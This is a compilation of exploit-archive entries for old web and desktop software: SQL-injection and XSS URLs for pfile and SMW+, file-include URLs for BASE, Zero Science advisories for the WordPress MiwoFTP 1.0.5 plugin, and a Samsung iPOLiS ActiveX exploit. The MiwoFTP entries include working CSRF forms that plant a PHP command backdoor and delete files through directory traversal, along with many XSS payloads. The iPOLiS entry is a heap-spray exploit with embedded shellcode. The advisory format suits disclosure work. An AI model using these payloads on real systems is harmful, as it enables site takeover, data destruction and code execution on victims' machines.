Exploit: http://www.example.com/base/base_stat_iplink.php?BASE_path=[EV!L]
source: https://www.securityfocus.com/bid/51982/info
pfile is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
pfile 1.02 is vulnerable; other versions may also be affected.
http://www.example.com/pfile/file.php?eintrag=0&filecat=0&id=%24%7[xql]
source: https://www.securityfocus.com/bid/51982/info
pfile is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
pfile 1.02 is vulnerable; other versions may also be affected.
http://www.example.compfile/kommentar.php?filecat=[xss]&fileid=0
source: https://www.securityfocus.com/bid/51980/info
SMW+ is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.
Attacker-supplied HTML and script code can run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.
SMW+ 1.5.6 is vulnerable; other versions may also be affected.
http://www.example.com/index.php/Special:FormEdit?target=%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F\%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F&categories=Calendar+
WordPress MiwoFTP Plugin 1.0.5 CSRF Arbitrary File Creation Exploit (RCE)
Vendor: Miwisoft LLC
Product web page: http://www.miwisoft.com
Affected version: 1.0.5
Summary: MiwoFTP is a smart, fast and lightweight file manager
plugin that operates from the back-end of WordPress.
Desc: MiwoFTP WP Plugin suffers from a cross-site request forgery
remote code execution vulnerability. The application allows users
to perform certain actions via HTTP requests without performing any
validity checks to verify the requests. This can be exploited to
perform certain actions like executing arbitrary PHP code by uploading
a malicious PHP script file, with administrative privileges, if a
logged-in user visits a malicious web site.
Tested on: Apache 2.4.10 (Win32)
PHP 5.6.3
MySQL 5.6.21
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5242
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5242.php
Vendor: http://miwisoft.com/wordpress-plugins/miwoftp-wordpress-file-manager#changelog
24.03.2015
--
RCE CSRF PoC for masqueraded payload for admin view when editing:
Logic error:
When admin clicks on malicious link the plugin will:
1. Search existing file for edit: action=edit&dir=/&item=wp-comments-post.php.
2. In the root folder of WP, file wp-comments.php is created.
3. Payload is an excerpt from wp-comments-post.php without '<?php' part (SE+HTMLenc).
4. Somewhere below in that code, the evil payload: <?php system($_GET['c']); ?> is inserted.
5. Admin is presented with interface of editing wp-comments.php with contents from wp-comments-post.php.
6. After that, no matter what admin clicks (CSRF) (Save, Reset or Close), backdoor file is created (wp-comments.php).
7. Attacker executes code, ex: http://localhost/wordpress/wp-comments.php?c=whoami
<html>
<body>
<form action="http://localhost/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=edit&dir=/&item=wp-comments-post.php&order=name&srt=yes" method="POST">
<input type="hidden" name="dosave" value="yes" />
<input type="hidden" name="code" value="/**
* Handles Comment Post to WordPress and prevents duplicate comment posting.
*
* @package WordPress
*/
if ( 'POST' != $_SERVER['REQUEST_METHOD'] ) {
header('Allow: POST');
header('HTTP/1.1 405 Method Not Allowed');
header('Content-Type: text/plain');
exit;
}
/** Sets up the WordPress Environment. */
require( dirname(__FILE__) . '/wp-load.php' );
nocache_headers();
$comment_post_ID = isset($_POST['comment_post_ID']) ? (int) $_POST['comment_post_ID'] : 0;
$post = get_post($comment_post_ID);
if ( empty( $post->comment_status ) ) {
/**
* Fires when a comment is attempted on a post that does not exist.
*
* @since 1.5.0
*
* @param int $comment_post_ID Post ID.
*/
do_action( 'comment_id_not_found', $comment_post_ID );
exit;
}
// get_post_status() will get the parent status for attachments.
$status = get_post_status($post);
$status_obj = get_post_status_object($status);
if ( ! comments_open( $comment_post_ID ) ) {
/**
* Fires when a comment is attempted on a post that has comments closed.
*
* @since 1.5.0
*
* @param int $comment_post_ID Post ID.
*/
do_action( 'comment_closed', $comment_post_ID );
wp_die( __( 'Sorry, comments are closed for this item.' ), 403 );
} elseif ( 'trash' == $status ) {
/**
* Fires when a comment is attempted on a trashed post.
*
* @since 2.9.0
*
* @param int $comment_post_ID Post ID.
*/<?php system($_GET['c']); ?>
/* Filler */
by LiquidWorm, 2015" />
<input type="hidden" name="fname" value="wp-comments.php" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
---
http://localhost/wordpress/wp-comments.php?c=whoami
WordPress MiwoFTP Plugin 1.0.5 Multiple CSRF XSS Vulnerabilities
Vendor: Miwisoft LLC
Product web page: http://www.miwisoft.com
Affected version: 1.0.5
Summary: MiwoFTP is a smart, fast and lightweight file manager
plugin that operates from the back-end of WordPress.
Desc: MiwoFTP WP Plugin suffers from multiple cross-site request
forgery and xss vulnerabilities. The application allows users to
perform certain actions via HTTP requests without performing any
validity checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges if a logged-in
user visits a malicious web site. Input passed to several GET/POST
parameters is not properly sanitised before being returned to the
user. This can be exploited to execute arbitrary HTML and script
code in a user's browser session in context of an affected site.
Tested on: Apache 2.4.10 (Win32)
PHP 5.6.3
MySQL 5.6.21
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5241
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5241.php
Vendor: http://miwisoft.com/wordpress-plugins/miwoftp-wordpress-file-manager#changelog
24.03.2015
--
GET:
(params: dir, item, order, srt)
-------------------------------
/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=list&dir=wp-content"><script>alert(1)</script>&order=name&srt=yes
/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&dir=wp-content%2Fuploads&item=test.php"><img%20src%3da%20onerror%3dalert(2)>&order=name&srt=yes
/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=search&order=name"><script>alert(3)</script>&srt=yes&searchitem=test&subdir=y
/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=search&order=name&srt=yes"><script>alert(4)</script>
---
POST:
(params: code, fname, new_dir, newitems[], searchitem, selitems[])
------------------------------------------------------------------
/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=edit&dir=wp-content%2Fuploads%2F2015&item=test.php&order=name&srt=yes
- dosave=yes&code="><script>alert(1)</script>&fname=test.php
/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=edit&dir=wp-content%2Fuploads%2F2015&item=test.php&order=name&srt=yes
- dosave=yes&code=1&fname=test.php"><img%20src%3da%20onerror%3dalert(2)>
/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=post&dir=wp-content%2Fuploads&order=name&srt=yes
- do_action=copy&confirm=false&first=n&new_dir=wp-content%2Fuploads%2F1"><script>alert(3)</script>&selitems%5B%5D=test&newitems%5B%5D=test.php
/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=post&dir=wp-content%2Fuploads&order=name&srt=yes
- do_action=copy&confirm=false&first=n&new_dir=wp-content%2Fuploads%2F2015&selitems%5B%5D=test&newitems%5B%5D=test.php"><script>alert(4)</script>
/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=search&order=name&srt=yes
- searchitem=test"><script>alert(5)</script>&subdir=y
/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=arch&dir=wp-content%2Fuploads&order=name&srt=yes
- selitems%5B%5D=test.zip"><script>alert(6)</script>&name=test&type=zip
WordPress MiwoFTP Plugin 1.0.5 CSRF Arbitrary File Deletion Exploit
Vendor: Miwisoft LLC
Product web page: http://www.miwisoft.com
Affected version: 1.0.5
Summary: MiwoFTP is a smart, fast and lightweight file manager
plugin that operates from the back-end of WordPress.
Desc: Input passed to the 'selitems[]' parameter is not properly
sanitised before being used to delete files. This can be exploited
to delete files with the permissions of the web server using directory
traversal sequences passed within the affected POST parameter.
Tested on: Apache 2.4.10 (Win32)
PHP 5.6.3
MySQL 5.6.21
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5240
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5240.php
Vendor: http://miwisoft.com/wordpress-plugins/miwoftp-wordpress-file-manager#changelog
24.03.2015
--
<html>
<body>
<form action="http://localhost/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=post" method="POST">
<input type="hidden" name="do_action" value="delete" />
<input type="hidden" name="first" value="y" />
<input type="hidden" name="selitems[]" value="../../../../../pls_mr_jailer_dont_deleteme.txt" />
<input type="submit" value="Gently" />
</form>
</body>
</html>
source: https://www.securityfocus.com/bid/51979/info
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
BASE 1.4.5 is vulnerable; other versions may be affected.
http://www.example.com/base_ag_main.php?ag_action=create File and past your code
source: https://www.securityfocus.com/bid/51979/info
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
BASE 1.4.5 is vulnerable; other versions may be affected.
Exploit: http://www.example.com/base/admin/index.php?BASE_path=[EV!L]
source: https://www.securityfocus.com/bid/51979/info
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
BASE 1.4.5 is vulnerable; other versions may be affected.
Exploit: http://www.example.com/base/admin/base_useradmin.php?BASE_path=[EV!L]
source: https://www.securityfocus.com/bid/51979/info
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
BASE 1.4.5 is vulnerable; other versions may be affected.
Exploit: http://www.example.com/base/index.php?BASE_path=[EV!L]
<html>
<!--
Vendor Homepage: https://www.samsung-security.com/Tools/device-manager.aspx
Samsung iPOLiS 1.12.2 ReadConfigValue Remote Code Execution (heap spray)
CVE: 2015-0555
Author: Praveen Darshanam
http://blog.disects.com/2015/02/samsung-ipolis-1122-xnssdkdeviceipinsta.html
http://darshanams.blogspot.com/
Tested on Windows XP SP3 IE6/7
Thanks to Peter Van Eeckhoutte for his wonderfull exploit writing tutorials
-->
<object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object>
<script>
var shellcode = unescape('%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u4100');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
// SEH and nSEH will point to 0x06060606
// 0x06060606 will point to (nops+shellcode) chunk
var hbuff = "";
for (i = 0; i <5000; i++)
{
hbuff += "\x06";
}
// trigget crash
target.ReadConfigValue(hbuff);
</script>
</html>